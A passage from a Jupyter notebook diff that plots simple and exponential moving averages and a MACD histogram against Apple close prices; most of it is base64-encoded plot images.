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YvMl5mZybhx4+jUqRM33ngjcXFxAOzZs4fu3bsTFhZG586dSUgwBlN65513CtMffPBBlw+AhYaGMnPmTLp370737t05dOgQAPfddx+PPvoot9xyCzNnzmTFihVMnjwZgFOnThEZGUmXLl3o0qULP/74Y4n55eXlcd9999GxY0c6derEggULqn4Dmq6Ymr5fPbmIK4S7TPvvNHacrOKula8JY+FtJXfkFh8fz0033VTqehYtWgTA7t272b9/PwMHDuTgwYMsWbKEqVOncvfdd5OdnU1eXh779u1j9erV/PDDD9jtdiZOnMi7777LvffeW2y9DRs2ZOvWraxatYpp06bx6aefAnDw4EFiY2Ox2WysWLGicP4pU6bQt29f1q1bR15eHmlpaSXm16FDB44dO0Z8vNGjzblz58qz6crliin0paYvhAD4/vvvefjhhwFo164dLVq04ODBg/Ts2ZM5c+bgcDgYMWIErVu35uuvv2b79u2Eh4cDRt8+JfWxX9CJ25gxY3jkkUcK00eNGoXNRf/s33zzDatWGeNy22w2GjVqxNtvv+0yv6FDh3LkyBEefvhhhgwZwsCBA6tug1zC4wv9ggu5crumEO5zuRp5denQoQNr164tdT7ncXKd3XXXXfTo0YMNGzYwaNAgli1bhtaasWPH8tJLL5W6XqWUy/f169cvQ/QXYyspv507d/LFF1+waNEi1qxZw/Lly8u83vLw+DZ9qekLUTvceuutZGVl8cYbbxSmbdu2jW+//bbIfH369OHdd98FjKaX33//nbZt23LkyBFatWrFlClTGDZsGLt27aJfv36sXbuW5ORkAFJSUkrsbnn16tWFf3v27FlqvP369WPx4sWA0VFcampqifn98ccf5OfnM3LkSGbNmsUvv/xSzq1Tdp5f07dJTV+I2kApxbp165g2bRpz587Fx8eH0NDQYgO6TJw4kQkTJtCpUye8vLxYsWIF3t7erF69mnfeeQe73c4111zDM888Q9OmTZk9ezYDBw4kPz8fu93OokWLaNGiRbH8s7Ky6NGjB/n5+WUaY/e1115j/PjxvPnmm9hsNhYvXkzPnj1d5ufr68u4cePIz88HKNOZR0Wpkk6F3Klbt276559/rtCym5M2c/Pym3l/1Pvc2f7OKo5MCFFg37593HDDDVaHYYnQ0FB+/vnnYv30u5Or7a+U2q617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\n"
+ },
+ "metadata": {
+ "needs_background": "light"
+ }
+ }
+ ],
+ "source": [
+ "plt.plot(stocks[\"close_10_sma\"], color=\"b\", label=\"SMA\") # plotting SMA\n",
+ "plt.plot(stocks[\"close_10_ema\"], color=\"k\", label=\"EMA\")\n",
+ "plt.plot(df_aapl.Close, color=\"g\", label=\"Close prices\") # plotting close prices\n",
+ "plt.legend(loc=\"lower right\")\n",
+ "plt.show()"
+ ]
+ },
+ {
+ "cell_type": "code",
+ "execution_count": 13,
+ "metadata": {
+ "tags": []
+ },
+ "outputs": [
+ {
+ "output_type": "stream",
+ "name": "stderr",
+ "text": "NOTE: Behavior of MACDH calculation has changed as of July 2017 - it is now 1/2 of previous calculated values\n"
+ },
+ {
+ "output_type": "display_data",
+ "data": {
+ "text/plain": "",
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